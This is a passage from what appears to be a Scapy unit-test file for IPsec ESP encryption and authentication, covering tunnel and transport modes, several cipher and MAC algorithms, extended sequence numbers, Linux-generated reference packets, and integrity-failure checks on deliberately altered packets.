encapsulated with the given ip tunnel header\nassert e.src == '11.11.11.11' and e.dst == '22.22.22.22'\nassert e.chksum != p.chksum\nassert e.proto == socket.IPPROTO_ESP\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\n* after encryption the original packet payload should be readable\nassert b'testdata' in e[ESP].data\n\n* integrity verification should pass\nd = sa.decrypt(e)\n\n* after decryption the original packet should be preserved\nassert d == p\n\n#######################################\n= IPv4 / ESP - Tunnel - NULL - SHA2-384-192 - altered packet\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='NULL', crypt_key=None,\n                         auth_algo='SHA2-384-192', auth_key=b'secret key',\n                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'))\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\n* after encryption packet should be encapsulated with the given ip tunnel header\nassert e.src == '11.11.11.11' and e.dst == '22.22.22.22'\nassert e.chksum != p.chksum\nassert e.proto == socket.IPPROTO_ESP\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\n* after encryption the original packet payload should be readable\nassert b'testdata' in e[ESP].data\n\n* simulate the alteration of the packet before decryption\ne[ESP].data = e[ESP].data.replace(b'\\x01', b'\\x21')\n\n* integrity verification should fail\ntry:\n    d = sa.decrypt(e)\n    assert False\nexcept IPSecIntegrityError as err:\n    err\n\n#######################################\n= IPv4 / ESP - Tunnel - NULL - SHA2-512-256\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='NULL', crypt_key=None,\n                         auth_algo='SHA2-512-256', auth_key=b'secret key',\n                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'))\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\n* after encryption packet should be encapsulated with the given ip tunnel header\nassert e.src == '11.11.11.11' and e.dst == '22.22.22.22'\nassert e.chksum != p.chksum\nassert e.proto == socket.IPPROTO_ESP\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\n* after encryption the original packet payload should be readable\nassert b'testdata' in e[ESP].data\n\n* integrity verification should pass\nd = sa.decrypt(e)\n\n* after decryption the original packet should be preserved\nassert d == p\n\n#######################################\n= IPv4 / ESP - Tunnel - NULL - SHA2-512-256 - altered packet\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='NULL', crypt_key=None,\n                         auth_algo='SHA2-512-256', auth_key=b'secret key',\n                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'))\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\n* after encryption packet should be encapsulated with the given ip tunnel header\nassert e.src == '11.11.11.11' and e.dst == '22.22.22.22'\nassert e.chksum != p.chksum\nassert e.proto == socket.IPPROTO_ESP\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\n* after encryption the original packet payload should be readable\nassert b'testdata' in e[ESP].data\n\n* simulate the alteration of the packet before decryption\ne[ESP].data = e[ESP].data.replace(b'\\x01', b'\\x21')\n\n* integrity verification should fail\ntry:\n    d = sa.decrypt(e)\n    assert False\nexcept IPSecIntegrityError as err:\n    err\n\n#######################################\n= IPv4 / ESP - Tunnel - NULL - HMAC-MD5-96\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='NULL', crypt_key=None,\n                         auth_algo='HMAC-MD5-96', auth_key=b'secret key',\n                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'))\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\n* after encryption packet should be encapsulated with the given ip tunnel header\nassert e.src == '11.11.11.11' and e.dst == '22.22.22.22'\nassert e.chksum != p.chksum\nassert e.proto == socket.IPPROTO_ESP\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\n* after encryption the original packet payload should be readable\nassert b'testdata' in e[ESP].data\n\n* integrity verification should pass\nd = sa.decrypt(e)\n\n* after decryption the original packet should be preserved\nassert d == p\n\n#######################################\n= IPv4 / ESP - Tunnel - NULL - HMAC-MD5-96 - altered packet\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='NULL', crypt_key=None,\n                         auth_algo='HMAC-MD5-96', auth_key=b'secret key',\n                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'))\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\n* after encryption packet should be encapsulated with the given ip tunnel header\nassert e.src == '11.11.11.11' and e.dst == '22.22.22.22'\nassert e.chksum != p.chksum\nassert e.proto == socket.IPPROTO_ESP\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\n* after encryption the original packet payload should be readable\nassert b'testdata' in e[ESP].data\n\n* simulate the alteration of the packet before decryption\ne[ESP].data = e[ESP].data.replace(b'\\x01', b'\\x21')\n\n* integrity verification should fail\ntry:\n    d = sa.decrypt(e)\n    assert False\nexcept IPSecIntegrityError as err:\n    err\n\n#######################################\n= IPv4 / ESP - Tunnel - NULL - AES-CMAC-96\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='NULL', crypt_key=None,\n                         auth_algo='AES-CMAC-96', auth_key=b'sixteenbytes key',\n                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'))\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\n* after encryption packet should be encapsulated with the given ip tunnel header\nassert e.src == '11.11.11.11' and e.dst == '22.22.22.22'\nassert e.chksum != p.chksum\nassert e.proto == socket.IPPROTO_ESP\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\n* after encryption the original packet payload should be readable\nassert b'testdata' in e[ESP].data\n\n* integrity verification should pass\nd = sa.decrypt(e)\n\n* after decryption the original packet should be preserved\nassert d == p\n\n#######################################\n= IPv4 / ESP - Tunnel - NULL - AES-CMAC-96 - altered packet\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='NULL', crypt_key=None,\n                         auth_algo='AES-CMAC-96', auth_key=b'sixteenbytes key',\n                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'))\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\n* after encryption packet should be encapsulated with the given ip tunnel header\nassert e.src == '11.11.11.11' and e.dst == '22.22.22.22'\nassert e.chksum != p.chksum\nassert e.proto == socket.IPPROTO_ESP\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\n* after encryption the original packet payload should be readable\nassert b'testdata' in e[ESP].data\n\n* simulate the alteration of the packet before decryption\ne[ESP].data = e[ESP].data.replace(b'\\x01', b'\\x21')\n\n* integrity verification should fail\ntry:\n    d = sa.decrypt(e)\n    assert False\nexcept IPSecIntegrityError as err:\n    err\n\n###############################################################################\n+ IPv4 / ESP - Encryption + Authentication\n\n#######################################\n= IPv4 / ESP - Transport - AES-CBC - HMAC-SHA1-96\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='AES-CBC', crypt_key=b'sixteenbytes key',\n                         auth_algo='HMAC-SHA1-96', auth_key=b'secret key')\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\nassert e.src == '1.1.1.1' and e.dst == '2.2.2.2'\nassert e.chksum != p.chksum\nassert e.proto == socket.IPPROTO_ESP\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\n* after encryption the original packet payload should NOT be readable\nassert b'testdata' not in e[ESP].data\n\nd = sa.decrypt(e)\nd\n\n* after decryption the original packet payload should be unaltered\nassert d[TCP] == p[TCP]\n\n#######################################\n= IPv4 / ESP - Transport - AES-CBC - HMAC-SHA1-96 - altered packet\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='AES-CBC', crypt_key=b'sixteenbytes key',\n                         auth_algo='HMAC-SHA1-96', auth_key=b'secret key')\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\nassert e.src == '1.1.1.1' and e.dst == '2.2.2.2'\nassert e.chksum != p.chksum\nassert e.proto == socket.IPPROTO_ESP\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\n* after encryption the original packet payload should NOT be readable\nassert b'testdata' not in e[ESP].data\n\n* simulate the alteration of the packet before decryption\ne[ESP].seq += 1\n\n* integrity verification should fail\ntry:\n    d = sa.decrypt(e)\n    assert False\nexcept IPSecIntegrityError as err:\n    err\n\n#######################################\n= IPv4 / ESP - Transport - AES-CBC - HMAC-SHA2-256-128 -- ESN\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('hello world')\np = IP(raw(p))\np\n\nenc_key = bytes.fromhex(\"85ee354b4675a9c5d16e3d6f4118043b\")\nauth_key = bytes.fromhex(\"6f79bf94da7dde3c86009934d9258f1b3fc2f5382aca9c9cb8e216eed235f34c\")\n\nsa = SecurityAssociation(ESP, spi=0xcf54ccdf, crypt_algo='AES-CBC',\n                         crypt_key=enc_key,\n                         auth_algo='SHA2-256-128', auth_key=auth_key,\n                         esn_en=True, esn=68)\ne = sa.encrypt(p, iv=bytes.fromhex(\"11223344112233441122334411223344\"))\n\n\nassert bytes(e) == bytes.fromhex(\"4500006c000100004032745a0101010102020202cf54ccdf0000000111223344112233441122334411223344f5bda519c9ae64f283f0fc18a8d253eca8b34c2120c8958a97ec9d8e67756da2523fce9b5541c57fddf090afc2bfd97e8703203953f853eb61482e4c1384d4c8\")\n\n* integrity verification should pass\nd = sa.decrypt(e)\nd\n\n#######################################\n= IPv4 / ESP - Transport - AES-GCM - NULL\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='AES-GCM', crypt_key=b'16bytekey+4bytenonce',\n                         auth_algo='NULL', auth_key=None)\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\nassert e.src == '1.1.1.1' and e.dst == '2.2.2.2'\nassert e.chksum != p.chksum\nassert e.proto == socket.IPPROTO_ESP\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\n* after encryption the original packet payload should NOT be readable\nassert b'testdata' not in e[ESP].data\n\nd = sa.decrypt(e)\nd\n\n* after decryption original packet should be preserved\nassert d[TCP] == p[TCP]\n\n# Generated with Linux 4.4.0-62-generic #83-Ubuntu\n# ip xfrm state add src 10.125.0.2 dst 10.125.0.1 proto esp spi 546 reqid 1 \\\n#    mode tunnel aead 'rfc4106(gcm(aes))' '0x3136627974656b65792b34627974656e6f6e6365' 128 flag align4\nref = IP() \\\n    / ESP(spi=0x222,\n          data=b'\\x66\\x00\\x28\\x86\\xe9\\xdf\\xc5\\x24\\xb0\\xbd\\xfd\\x62\\x61\\x7e\\xd3\\x76'\n               b'\\x7b\\x48\\x28\\x8e\\x76\\xaa\\xea\\x48\\xb8\\x40\\x30\\x8a\\xce\\x50\\x71\\xbb'\n               b'\\xc0\\xb2\\x47\\x71\\xd7\\xa4\\xa0\\xcb\\x03\\x68\\xd3\\x16\\x5a\\x7c\\x37\\x84'\n               b'\\x87\\xc7\\x19\\x59\\xb4\\x7c\\x76\\xe3\\x48\\xc0\\x90\\x4b\\xd2\\x36\\x95\\xc1'\n               b'\\xb7\\xa4\\xb6\\x7b\\x89\\xe6\\x4f\\x10\\xae\\xdb\\x84\\x47\\x46\\x00\\xb4\\x44'\n               b'\\xe6\\x6d\\x16\\x55\\x5f\\x82\\x36\\xa5\\x49\\xf7\\x52\\x81\\x65\\x90\\x4d\\x28'\n               b'\\x92\\xb2\\xe3\\xf1\\xa4\\x02\\xd2\\x37\\xac\\x0b\\x7a\\x10\\xcf\\x64\\x46\\xb9',\n          seq=1)\n\nd_ref = sa.decrypt(ref)\nd_ref\n\n* Check for ICMP layer in decrypted reference\nassert d_ref.haslayer(ICMP)\n\n#######################################\n= IPv4 / ESP - Transport - AES-GCM - NULL -- ESN\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='AES-GCM', crypt_key=b'16bytekey+4bytenonce',\n                         auth_algo='NULL', auth_key=None, esn_en = True, esn = 0x1)\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\nassert e.src == '1.1.1.1' and e.dst == '2.2.2.2'\nassert e.chksum != p.chksum\nassert e.proto == socket.IPPROTO_ESP\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\n* after encryption the original packet payload should NOT be readable\nassert b'testdata' not in e[ESP].data\n\nd = sa.decrypt(e)\nd\n\n* after decryption original packet should be preserved\nassert d[TCP] == p[TCP]\n\n# Generated with Linux 4.4.0-62-generic #83-Ubuntu\n# ip xfrm state add src 10.125.0.2 dst 10.125.0.1 proto esp spi 546 reqid 1 \\\n#    mode tunnel aead 'rfc4106(gcm(aes))' '0x3136627974656b65792b34627974656e6f6e6365' 128 flag align4\nref = IP() \\\n    / ESP(spi=0x222,\n          data=b'\\x66\\x00\\x28\\x86\\xe9\\xdf\\xc5\\x24\\xb0\\xbd\\xfd\\x62\\x61\\x7e\\xd3\\x76'\n               b'\\x7b\\x48\\x28\\x8e\\x76\\xaa\\xea\\x48\\xb8\\x40\\x30\\x8a\\xce\\x50\\x71\\xbb'\n               b'\\xc0\\xb2\\x47\\x71\\xd7\\xa4\\xa0\\xcb\\x03\\x68\\xd3\\x16\\x5a\\x7c\\x37\\x84'\n               b'\\x87\\xc7\\x19\\x59\\xb4\\x7c\\x76\\xe3\\x48\\xc0\\x90\\x4b\\xd2\\x36\\x95\\xc1'\n               b'\\xb7\\xa4\\xb6\\x7b\\x89\\xe6\\x4f\\x10\\xae\\xdb\\x84\\x47\\x46\\x00\\xb4\\x44'\n               b'\\xe6\\x6d\\x16\\x55\\x5f\\x82\\x36\\xa5\\x49\\xf7\\x52\\x81\\x65\\x90\\x4d\\x28'\n               b'\\xfe\\x4d\\x22\\x83\\x6a\\x81\\x0d\\x60\\x94\\xdb\\x45\\x22\\x03\\x92\\xf6\\x94',\n          seq=1)\n\nd_ref = sa.decrypt(ref)\nd_ref\n\n* Check for ICMP layer in decrypted reference\nassert d_ref.haslayer(ICMP)\n\n\n#######################################\n\n= IPv4 / ESP - Transport - AES-GCM - NULL - altered packet\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='AES-GCM', crypt_key=b'16bytekey+4bytenonce',\n                         auth_algo='NULL', auth_key=None)\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\nassert e.src == '1.1.1.1' and e.dst == '2.2.2.2'\nassert e.chksum != p.chksum\nassert e.proto == socket.IPPROTO_ESP\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\n* after encryption the original packet payload should NOT be readable\nassert b'testdata' not in e[ESP].data\n\n* simulate the alteration of the packet before decryption\ne[ESP].seq += 1\n\n* integrity verification should fail\ntry:\n    d = sa.decrypt(e)\n    assert False\nexcept IPSecIntegrityError as err:\n    err\n    \n#######################################\n\n= IPv4 / ESP - Transport - AES-GCM - NULL - altered packet -- ESN\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='AES-GCM', crypt_key=b'16bytekey+4bytenonce',\n                         auth_algo='NULL', auth_key=None, esn_en = True, esn = 0x200)\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\nassert e.src == '1.1.1.1' and e.dst == '2.2.2.2'\nassert e.chksum != p.chksum\nassert e.proto == socket.IPPROTO_ESP\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\n* after encryption the original packet payload should NOT be readable\nassert b'testdata' not in e[ESP].data\n\n* simulate the alteration of the packet before decryption\n* integrity verification should fail\ntry:\n    d = sa.decrypt(e, esn = 0x201)\n    assert False\nexcept IPSecIntegrityError as err:\n    err\n    \n#######################################\n= IPv4 / ESP - Transport - AES-NULL-GMAC - NULL\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='AES-NULL-GMAC', crypt_key=b'16bytekey+4bytenonce',\n                         auth_algo='NULL', auth_key=None)\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\nassert e.src == '1.1.1.1' and e.dst == '2.2.2.2'\nassert e.chksum != p.chksum\nassert e.proto == socket.IPPROTO_ESP\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\n* AES-NULL-GMAC is integrity only, the original packet payload should be readable\nassert b'testdata' in e[ESP].data\n\nd = sa.decrypt(e)\nd\n\n* after decryption original packet should be preserved\nassert d[TCP] == p[TCP]\n\n# Generated with Linux 5.15.0-1034-azure #41-Ubuntu\n# ip xfrm state add src 10.125.0.2 dst 10.125.0.1 proto esp spi 0x222 reqid 1 \\\n#    mode tunnel aead 'rfc4543(gcm(aes))' '0x3136627974656b65792b34627974656e6f6e6365' 128 flag align4\nref = IP() \\\n    / ESP(spi=0x222,\n          data=b'\\x54\\x70\\x6c\\x6a\\x9f\\xba\\xa6\\x18\\x45\\x00\\x00\\x54\\xbc\\x53\\x00\\x00'\n               b'\\x40\\x01\\xa9\\x59\\x0a\\x7d\\x00\\x01\\x0a\\x7d\\x00\\x02\\x00\\x00\\xad\\x53'\n               b'\\xa8\\x83\\x00\\x01\\x02\\xe6\\x09\\x64\\x00\\x00\\x00\\x00\\xd9\\x0a\\x06\\x00'\n               b'\\x00\\x00\\x00\\x00\\x10\\x11\\x12\\x13\\x14\\x15\\x16\\x17\\x18\\x19\\x1a\\x1b'\n               b'\\x1c\\x1d\\x1e\\x1f\\x20\\x21\\x22\\x23\\x24\\x25\\x26\\x27\\x28\\x29\\x2a\\x2b'\n               b'\\x2c\\x2d\\x2e\\x2f\\x30\\x31\\x32\\x33\\x34\\x35\\x36\\x37\\x01\\x02\\x02\\x04'\n               b'\\x9b\\x76\\x32\\x30\\xf6\\x49\\x92\\xa8\\x8f\\x6a\\x20\\x87\\x2c\\x74\\x0c\\x18',\n          seq=22)\n\nd_ref = sa.decrypt(ref)\nd_ref\n\n* Check for ICMP layer in decrypted reference\nassert d_ref.haslayer(ICMP)\n\n#######################################\n= IPv4 / ESP - Transport - AES-NULL-GMAC - NULL -- ESN\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='AES-NULL-GMAC', crypt_key=b'16bytekey+4bytenonce',\n                         auth_algo='NULL', auth_key=None, esn_en = True, esn = 0x1)\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\nassert e.src == '1.1.1.1' and e.dst == '2.2.2.2'\nassert e.chksum != p.chksum\nassert e.proto == socket.IPPROTO_ESP\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\n* AES-NULL-GMAC is integrity only, the original packet payload should be readable\nassert b'testdata' in e[ESP].data\n\nd = sa.decrypt(e)\nd\n\n* after decryption original packet should be preserved\nassert d[TCP] == p[TCP]\n\n# Generated with Linux 5.15.0-1034-azure #41-Ubuntu\n# ip xfrm state add src 10.125.0.2 dst 10.125.0.1 proto esp spi 0x222 reqid 1 replay-oseq-hi 0x1 \\\n#    mode tunnel aead 'rfc4543(gcm(aes))' '0x3136627974656b65792b34627974656e6f6e6365' 128 flag align4 esn\nref = IP() \\\n    / ESP(spi=0x222,\n          data=b'\\x43\\xe6\\xa1\\xce\\x70\\x9d\\x67\\xf4\\x45\\x00\\x00\\x54\\x2e\\x4a\\x40\\x00'\n               b'\\x40\\x01\\xf7\\x62\\x0a\\x7d\\x00\\x02\\x0a\\x7d\\x00\\x01\\x08\\x00\\xd3\\x32'\n               b'\\x8f\\x4c\\x00\\x02\\x8d\\xec\\x09\\x64\\x00\\x00\\x00\\x00\\x3c\\x5b\\x03\\x00'\n               b'\\x00\\x00\\x00\\x00\\x10\\x11\\x12\\x13\\x14\\x15\\x16\\x17\\x18\\x19\\x1a\\x1b'\n               b'\\x1c\\x1d\\x1e\\x1f\\x20\\x21\\x22\\x23\\x24\\x25\\x26\\x27\\x28\\x29\\x2a\\x2b'\n               b'\\x2c\\x2d\\x2e\\x2f\\x30\\x31\\x32\\x33\\x34\\x35\\x36\\x37\\x01\\x02\\x02\\x04'\n               b'\\x76\\xd4\\x93\\x90\\x75\\xee\\x3f\\xa3\\xf3\\xcf\\xcc\\x27\\xf5\\x5b\\x12\\xb6',\n          seq=5)\n\nd_ref = sa.decrypt(ref)\nd_ref\n\n* Check for ICMP layer in decrypted reference\nassert d_ref.haslayer(ICMP)\n\n\n#######################################\n\n= IPv4 / ESP - Transport - AES-NULL-GMAC - NULL - altered packet\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='AES-NULL-GMAC', crypt_key=b'16bytekey+4bytenonce',\n                         auth_algo='NULL', auth_key=None)\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\nassert e.src == '1.1.1.1' and e.dst == '2.2.2.2'\nassert e.chksum != p.chksum\nassert e.proto == socket.IPPROTO_ESP\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\n* AES-NULL-GMAC is integrity only, the original packet payload should be readable\nassert b'testdata' in e[ESP].data\n\n* simulate the alteration of the packet before decryption\ne[ESP].seq += 1\n\n* integrity verification should fail\ntry:\n    d = sa.decrypt(e)\n    assert False\nexcept IPSecIntegrityError as err:\n    err\n\n#######################################\n\n= IPv4 / ESP - Transport - AES-NULL-GMAC - NULL - altered packet -- ESN\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='AES-NULL-GMAC', crypt_key=b'16bytekey+4bytenonce',\n                         auth_algo='NULL', auth_key=None, esn_en = True, esn = 0x200)\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\nassert e.src == '1.1.1.1' and e.dst == '2.2.2.2'\nassert e.chksum != p.chksum\nassert e.proto == socket.IPPROTO_ESP\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\n* AES-NULL-GMAC is integrity only, the original packet payload should be readable\nassert b'testdata' in e[ESP].data\n\n* simulate the alteration of the packet before decryption\n* integrity verification should fail\ntry:\n    d = sa.decrypt(e, esn = 0x201)\n    assert False\nexcept IPSecIntegrityError as err:\n    err\n\n#######################################\n= IPv4 / ESP - Transport - AES-CCM - NULL\n~ crypto_advanced\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='AES-CCM', crypt_key=b'16bytekey3bytenonce',\n                         crypt_icv_size=8,\n                         auth_algo='NULL', auth_key=None)\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\n* after encryption packet should be encapsulated with the given ip tunnel header\nassert e.src == '1.1.1.1' and e.dst == '2.2.2.2'\nassert e.chksum != p.chksum\nassert e.proto == socket.IPPROTO_ESP\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\n* after encryption the original packet payload should NOT be readable\nassert b'testdata' not in e[ESP].data\n\nd = sa.decrypt(e)\nd\n\n* after decryption original packet should be preserved\nassert d == p\n\n# Generated with Linux 4.4.0-62-generic #83-Ubuntu\n# ip xfrm state add src 10.125.0.2 dst 10.125.0.1 proto esp spi 546 reqid 1 \\\n#    mode tunnel aead 'rfc4309(ccm(aes))' '0x3136627974656b657933627974656e6f6e6365' 64\nref = IP() \\\n    / ESP(spi=0x222,\n          data=b'\\x2e\\x02\\x9f\\x1f\\xad\\x76\\x80\\x58\\x8f\\xeb\\x45\\xf1\\x66\\xe3\\xad\\xa6'\n               b'\\x90\\x1b\\x2b\\x7d\\xd3\\x3d\\xa4\\x53\\x35\\xc8\\xfa\\x92\\xfd\\xd7\\x42\\x2f'\n               b'\\x87\\x60\\x9b\\x46\\xb0\\x21\\x5e\\x82\\xfb\\x2f\\x59\\xba\\xf0\\x6c\\xe5\\x51'\n               b'\\xb8\\x36\\x20\\x88\\xfe\\x49\\x86\\x60\\xe8\\x0a\\x3d\\x36\\xb5\\x8a\\x08\\xa9'\n               b'\\x5e\\xe3\\x87\\xfa\\x93\\x3f\\xe8\\xc2\\xc5\\xbf\\xb1\\x2e\\x6f\\x7d\\xc5\\xa5'\n               b'\\xd8\\xe5\\xf3\\x25\\x21\\x81\\x43\\x16\\x48\\x10\\x7c\\x04\\x31\\x20\\x07\\x7c'\n               b'\\x7b\\xda\\x5d\\x1a\\x72\\x45\\xc4\\x79',\n          seq=1)\n\nd_ref = sa.decrypt(ref)\nd_ref\n\n* Check for ICMP layer in decrypted reference\nassert d_ref.haslayer(ICMP)\n\n#######################################\n= IPv4 / ESP - Transport - AES-CCM - NULL - altered packet\n~ crypto_advanced\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='AES-CCM', crypt_key=b'16bytekey3bytenonce',\n                         auth_algo='NULL', auth_key=None,\n                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'))\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\n* after encryption packet should be encapsulated with the given ip tunnel header\nassert e.src == '11.11.11.11' and e.dst == '22.22.22.22'\nassert e.chksum != p.chksum\nassert e.proto == socket.IPPROTO_ESP\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\n* after encryption the original packet payload should NOT be readable\nassert b'testdata' not in e[ESP].data\n\n* simulate the alteration of the packet before decryption\ne[ESP].seq += 1\n\n* integrity verification should fail\ntry:\n    d = sa.decrypt(e)\n    assert False\nexcept IPSecIntegrityError as err:\n    err\n\n#######################################\n= IPv4 / ESP - Tunnel - AES-CBC - HMAC-SHA1-96\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='AES-CBC', crypt_key=b'sixteenbytes key',\n                         auth_algo='HMAC-SHA1-96', auth_key=b'secret key',\n                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'))\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\n* after encryption packet should be encapsulated with the given ip tunnel header\nassert e.src == '11.11.11.11' and e.dst == '22.22.22.22'\nassert e.chksum != p.chksum\nassert e.proto == socket.IPPROTO_ESP\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\n* after encryption the original packet payload should NOT be readable\nassert b'testdata' not in e[ESP].data\n\nd = sa.decrypt(e)\nd\n\n* after decryption the original packet payload should be unaltered\nassert d[TCP] == p[TCP]\n\n#######################################\n= IPv4 / ESP - Tunnel - AES-CBC - HMAC-SHA1-96 - altered packet\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='AES-CBC', 